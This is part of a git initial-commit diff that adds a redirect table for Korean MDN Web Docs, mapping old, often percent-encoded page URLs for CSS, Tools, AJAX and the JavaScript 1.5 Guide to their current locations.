initial commit

2808 files changed, 408966 insertions, 0 deletions

diff --git a/files/ko/_redirects.txt b/files/ko/_redirects.txt
new file mode 100644
index 0000000000..6c7c23cf9e
--- /dev/null
+++ b/files/ko/_redirects.txt
@@ -0,0 +1,975 @@
+# FROM-URL	TO-URL
+/ko/docs/%EB%8C%80%EB%AC%B8	/ko/docs/Web
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4	/ko/docs/Tools
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/%EB%8B%A8%EC%B6%95%ED%82%A4	/ko/docs/Tools/%EB%8B%A8%EC%B6%95%ED%82%A4
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Add-ons	/ko/docs/Tools/Add-ons
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Add-ons/DOM_Inspector	/ko/docs/Tools/Add-ons/DOM_Inspector
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Debugger	/ko/docs/Tools/Debugger
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Debugger/%EB%8B%A8%EC%B6%95%ED%82%A4	/ko/docs/Tools/Debugger/%EB%8B%A8%EC%B6%95%ED%82%A4
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Debugger/UI_Tour	/ko/docs/Tools/Debugger/UI_Tour
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to	/ko/docs/Tools/How_to
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to/Open_the_debugger	/ko/docs/Tools/How_to/Open_the_debugger
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to/Search	/ko/docs/Tools/How_to/Search
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to/Set_a_breakpoint	/ko/docs/Tools/How_to/Set_a_breakpoint
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Network_Monitor	/ko/docs/Tools/Network_Monitor
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Page_Inspector	/ko/docs/Tools/Page_Inspector
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Page_Inspector/UI_Tour	/ko/docs/Tools/Page_Inspector/UI_Tour
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Performance	/ko/docs/Tools/Performance
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Performance/UI_Tour	/ko/docs/Tools/Performance/UI_Tour
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Remote_Debugging	/ko/docs/Tools/Remote_Debugging
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Remote_Debugging/Firefox_for_Android	/ko/docs/Tools/Remote_Debugging/Firefox_for_Android
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Scratchpad	/ko/docs/Tools/Scratchpad
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/WebIDE	/ko/docs/Tools/WebIDE
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/WebIDE/%EB%AC%B8%EC%A0%9C%ED%95%B4%EA%B2%B0	/ko/docs/Tools/WebIDE/%EB%AC%B8%EC%A0%9C%ED%95%B4%EA%B2%B0
+/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Web_Console	/ko/docs/Tools/Web_Console
+/ko/docs/%EB%AA%A8%EC%A7%88%EB%9D%BC_%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8_%EC%B0%B8%EC%97%AC%ED%95%98%EA%B8%B0_(Participating_in_the_Mozilla_project)	/ko/docs/Mozilla/Developer_guide
+/ko/docs/%ED%98%B8%ED%99%98_%EB%AA%A8%EB%93%9C%EC%99%80_%ED%91%9C%EC%A4%80_%EB%AA%A8%EB%93%9C	/ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
+/ko/docs/AJAX	/ko/docs/Web/Guide/AJAX
+/ko/docs/AJAX/Getting_Started	/ko/docs/Web/Guide/AJAX/Getting_Started
+/ko/docs/AJAX:Getting_Started	/ko/docs/Web/Guide/AJAX/Getting_Started
+/ko/docs/A_Basic_RayCaster:input.js	/ko/docs/A_Basic_RayCaster/input.js
+/ko/docs/About_JavaScript	/ko/docs/Web/JavaScript/About
+/ko/docs/About_the_Document_Object_Model	/ko/docs/Web/API/Document_Object_Model
+/ko/docs/Accessibility	/ko/docs/Web/Accessibility
+/ko/docs/Accessibility/ARIA	/ko/docs/Web/Accessibility/ARIA
+/ko/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets	/ko/docs/Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
+/ko/docs/Alternative_style_sheets	/ko/docs/Web/CSS/Alternative_style_sheets
+/ko/docs/Apps/Manifest	/ko/docs/Web/Apps/Developing/Manifest/Manifest
+/ko/docs/Apps/Progressive	/ko/docs/Web/Progressive_web_apps
+/ko/docs/Apps/Progressive/%EC%86%8C%EA%B0%9C	/ko/docs/Web/Progressive_web_apps/%EC%86%8C%EA%B0%9C
+/ko/docs/Apps/Progressive/Add_to_home_screen	/ko/docs/Web/Progressive_web_apps/Add_to_home_screen
+/ko/docs/Apps/Progressive/App_structure	/ko/docs/Web/Progressive_web_apps/App_structure
+/ko/docs/Apps/Progressive/Installable_PWAs	/ko/docs/Web/Progressive_web_apps/Installable_PWAs
+/ko/docs/Apps/Progressive/Offline_Service_workers	/ko/docs/Web/Progressive_web_apps/Offline_Service_workers
+/ko/docs/Apps/Progressive/Re-engageable_Notifications_Push	/ko/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push
+/ko/docs/Build_Documentation	/ko/docs/Mozilla/Developer_guide/Build_Documentation
+/ko/docs/Build_Documentation/TOC	/ko/docs/Mozilla/Developer_guide/Build_Documentation/TOC
+/ko/docs/Build_Documentation/Windows_Prerequisites	/ko/docs/Mozilla/Developer_guide/Build_Documentation/Windows_Prerequisites
+/ko/docs/Building_PyXPCOM	/ko/docs/Mozilla/Developer_guide/Build_Documentation/Building_PyXPCOM
+/ko/docs/CSS	/ko/docs/Web/CSS
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0	/en-US/docs/Learn/CSS/First_steps
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%82%B4%EC%9A%A9%EB%AC%BC	/ko/docs/Learn/CSS/Howto/Generated_content
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%A6%AC%EC%8A%A4%ED%8A%B8	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%A6%AC%EC%8A%A4%ED%8A%B8
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%89%EC%83%81	/en-US/docs/Learn/CSS/Building_blocks/Values_and_units
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%84%A4%EB%A0%89%ED%84%B0	/en-US/docs/Learn/CSS/Building_blocks/Selectors
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%95%8C%EA%B8%B0_%EC%89%AC%EC%9A%B4_CSS	/ko/docs/Learn/CSS/Introduction_to_CSS/Syntax#구문_그_너머_읽기_편한_CSS
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%99%9C_CSS%EB%A5%BC_%EC%82%AC%EC%9A%A9%ED%95%98%EB%82%98	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8C%EC%9D%B4%EB%B8%94	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8C%EC%9D%B4%EB%B8%94
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8D%EC%8A%A4%ED%8A%B8_%EC%8A%A4%ED%83%80%EC%9D%BC	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8D%EC%8A%A4%ED%8A%B8_%EC%8A%A4%ED%83%80%EC%9D%BC
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS%EB%9E%80	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS_%EB%8F%99%EC%9E%91_%EC%9B%90%EB%A6%AC	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS/@font-face	/ko/docs/Web/CSS/@font-face
+/ko/docs/CSS/Getting_Started	/ko/docs/CSS/시작하기
+/ko/docs/CSS/Getting_Started/Boxes	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90
+/ko/docs/CSS/Getting_Started/Cascading_and_inheritance	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D
+/ko/docs/CSS/Getting_Started/Color	/en-US/docs/Learn/CSS/Building_blocks/Values_and_units
+/ko/docs/CSS/Getting_Started/Content	/ko/docs/Learn/CSS/Howto/Generated_content
+/ko/docs/CSS/Getting_Started/How_CSS_works	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS/Getting_Started/JavaScript	/ko/docs/Web/CSS/Getting_Started/JavaScript
+/ko/docs/CSS/Getting_Started/Layout	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98
+/ko/docs/CSS/Getting_Started/Lists	/ko/docs/Web/CSS/시작하기/리스트
+/ko/docs/CSS/Getting_Started/Media	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4
+/ko/docs/CSS/Getting_Started/Readable_CSS	/ko/docs/Web/CSS/시작하기/알기_쉬운_CSS
+/ko/docs/CSS/Getting_Started/SVG_graphics	/ko/docs/Web/CSS/Getting_Started/SVG_graphics
+/ko/docs/CSS/Getting_Started/Selectors	/ko/docs/Web/CSS/시작하기/설렉터
+/ko/docs/CSS/Getting_Started/Tables	/ko/docs/Web/CSS/시작하기/테이블
+/ko/docs/CSS/Getting_Started/Text_styles	/ko/docs/Web/CSS/시작하기/텍스트_스타일
+/ko/docs/CSS/Getting_Started/What_is_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS/Getting_Started/Why_use_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS/Getting_Started/XBL_bindings	/ko/docs/Web/CSS/Getting_Started/XBL_bindings
+/ko/docs/CSS/Getting_Started/XML_data	/ko/docs/Web/CSS/Getting_Started/XML_data
+/ko/docs/CSS/Getting_Started/XUL_user_interfaces	/ko/docs/Web/CSS/Getting_Started/XUL_user_interfaces
+/ko/docs/CSS/Scaling_background_images	/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images
+/ko/docs/CSS/Understanding_z-index	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index
+/ko/docs/CSS/Understanding_z-index-redirect-1	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index
+/ko/docs/CSS/Understanding_z-index/Adding_z-index	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+/ko/docs/CSS/Understanding_z-index/Stacking_and_float	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+/ko/docs/CSS/Understanding_z-index/Stacking_and_float-redirect-1	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+/ko/docs/CSS/Understanding_z-index/Stacking_context_example_1	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+/ko/docs/CSS/Understanding_z-index/Stacking_context_example_2	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+/ko/docs/CSS/Understanding_z-index/Stacking_context_example_2-redirect-1	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+/ko/docs/CSS/Understanding_z-index/Stacking_context_example_3	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+/ko/docs/CSS/Understanding_z-index/Stacking_without_z-index	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+/ko/docs/CSS/Understanding_z-index/Stacking_without_z-index-redirect-1	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+/ko/docs/CSS/Understanding_z-index/The_stacking_context	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+/ko/docs/CSS/Using_CSS_animations	/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations
+/ko/docs/CSS/Using_CSS_multiple_backgrounds	/ko/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds
+/ko/docs/CSS/Using_CSS_transforms	/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms
+/ko/docs/CSS/Writing_Efficient_CSS	/ko/docs/Web/CSS/Writing_Efficient_CSS
+/ko/docs/CSS/Writing_Efficient_CSS-redirect-1	/ko/docs/Web/CSS/Writing_Efficient_CSS
+/ko/docs/CSS/animation	/ko/docs/Web/CSS/animation
+/ko/docs/CSS/background	/ko/docs/Web/CSS/background
+/ko/docs/CSS/background-color	/ko/docs/Web/CSS/background-color
+/ko/docs/CSS/background-image	/ko/docs/Web/CSS/background-image
+/ko/docs/CSS/border-radius	/ko/docs/Web/CSS/border-radius
+/ko/docs/CSS/box-shadow	/ko/docs/Web/CSS/box-shadow
+/ko/docs/CSS/cursor	/ko/docs/Web/CSS/cursor
+/ko/docs/CSS/cursor/Using_URL_values_for_the_cursor_property	/ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property
+/ko/docs/CSS/initial_value	/ko/docs/Web/CSS/initial_value
+/ko/docs/CSS/linear-gradient	/ko/docs/Web/CSS/linear-gradient()
+/ko/docs/CSS/table-layout	/ko/docs/Web/CSS/table-layout
+/ko/docs/CSS/text-shadow	/ko/docs/Web/CSS/text-shadow
+/ko/docs/CSS/transform	/ko/docs/Web/CSS/transform
+/ko/docs/CSS/z-index	/ko/docs/Web/CSS/z-index
+/ko/docs/CSS:Getting_Started	/ko/docs/CSS/시작하기
+/ko/docs/CSS:Getting_Started:Boxes	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90
+/ko/docs/CSS:Getting_Started:Cascading_and_inheritance	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D
+/ko/docs/CSS:Getting_Started:Color	/en-US/docs/Learn/CSS/Building_blocks/Values_and_units
+/ko/docs/CSS:Getting_Started:Content	/ko/docs/Learn/CSS/Howto/Generated_content
+/ko/docs/CSS:Getting_Started:How_CSS_works	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS:Getting_Started:JavaScript	/ko/docs/Web/CSS/Getting_Started/JavaScript
+/ko/docs/CSS:Getting_Started:Layout	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98
+/ko/docs/CSS:Getting_Started:Lists	/ko/docs/Web/CSS/시작하기/리스트
+/ko/docs/CSS:Getting_Started:Media	/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4
+/ko/docs/CSS:Getting_Started:Readable_CSS	/ko/docs/Web/CSS/시작하기/알기_쉬운_CSS
+/ko/docs/CSS:Getting_Started:SVG_graphics	/ko/docs/Web/CSS/Getting_Started/SVG_graphics
+/ko/docs/CSS:Getting_Started:Selectors	/ko/docs/Web/CSS/시작하기/설렉터
+/ko/docs/CSS:Getting_Started:Tables	/ko/docs/Web/CSS/시작하기/테이블
+/ko/docs/CSS:Getting_Started:Text_styles	/ko/docs/Web/CSS/시작하기/텍스트_스타일
+/ko/docs/CSS:Getting_Started:What_is_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS:Getting_Started:Why_use_CSS	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/CSS:Getting_Started:XBL_bindings	/ko/docs/Web/CSS/Getting_Started/XBL_bindings
+/ko/docs/CSS:Getting_Started:XML_data	/ko/docs/Web/CSS/Getting_Started/XML_data
+/ko/docs/CSS:Getting_Started:XUL_user_interfaces	/ko/docs/Web/CSS/Getting_Started/XUL_user_interfaces
+/ko/docs/CSS:background	/ko/docs/Web/CSS/background
+/ko/docs/CSS:initial_value	/ko/docs/Web/CSS/initial_value
+/ko/docs/CSS_Reference	/ko/docs/Web/CSS/Reference
+/ko/docs/CSS_Reference/Property_Template	/ko/docs/Web/CSS/Reference/Property_Template
+/ko/docs/CSS_Reference:Property_Template	/ko/docs/Web/CSS/Reference/Property_Template
+/ko/docs/Canvas_tutorial:Basic_usage	/ko/docs/Canvas_tutorial/Basic_usage
+/ko/docs/Canvas_tutorial:Drawing_shapes	/ko/docs/Canvas_tutorial/Drawing_shapes
+/ko/docs/Canvas_tutorial:Transformations	/ko/docs/Canvas_tutorial/Transformations
+/ko/docs/Core_JavaScript_1.5_Guide	/ko/docs/Web/JavaScript/Guide
+/ko/docs/Core_JavaScript_1.5_Guide/About	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About
+/ko/docs/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages
+/ko/docs/Core_JavaScript_1.5_Guide/Constants	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References
+/ko/docs/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression
+/ko/docs/Core_JavaScript_1.5_Guide/Expressions	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions
+/ko/docs/Core_JavaScript_1.5_Guide/JavaScript_Overview	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview
+/ko/docs/Core_JavaScript_1.5_Guide/Literals	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals
+/ko/docs/Core_JavaScript_1.5_Guide/Objects_and_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties
+/ko/docs/Core_JavaScript_1.5_Guide/Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Operators/Logical_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Operators/Special_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Operators/String_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators
+/ko/docs/Core_JavaScript_1.5_Guide/Predefined_Core_Objects	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects
+/ko/docs/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object
+/ko/docs/Core_JavaScript_1.5_Guide/Unicode	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode
+/ko/docs/Core_JavaScript_1.5_Guide/Values	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values
+/ko/docs/Core_JavaScript_1.5_Guide/Variables	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables
+/ko/docs/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern
+/ko/docs/Core_JavaScript_1.5_Guide:About	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About
+/ko/docs/Core_JavaScript_1.5_Guide:About:Core_Language_Features	/ko/docs/Core_JavaScript_1.5_Guide/About/Core_Language_Features
+/ko/docs/Core_JavaScript_1.5_Guide:Constants	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Getters_and_Setters	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Methods	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Properties_for_an_Object_Type	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Deleting_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Indexing_Object_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_a_Constructor_Function	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_this_for_Object_References	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References
+/ko/docs/Core_JavaScript_1.5_Guide:Creating_a_Regular_Expression	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression
+/ko/docs/Core_JavaScript_1.5_Guide:Expressions	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions
+/ko/docs/Core_JavaScript_1.5_Guide:Expressions_and_Operators	/ko/docs/Core_JavaScript_1.5_Guide/Expressions_and_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:JavaScript_Overview	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview
+/ko/docs/Core_JavaScript_1.5_Guide:Literals	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals
+/ko/docs/Core_JavaScript_1.5_Guide:Objects_and_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties
+/ko/docs/Core_JavaScript_1.5_Guide:Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Operators:Arithmetic_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Operators:Assignment_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Operators:Bitwise_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Operators:Comparison_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Operators:Logical_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Operators:String_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators
+/ko/docs/Core_JavaScript_1.5_Guide:Predefined_Core_Objects	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects
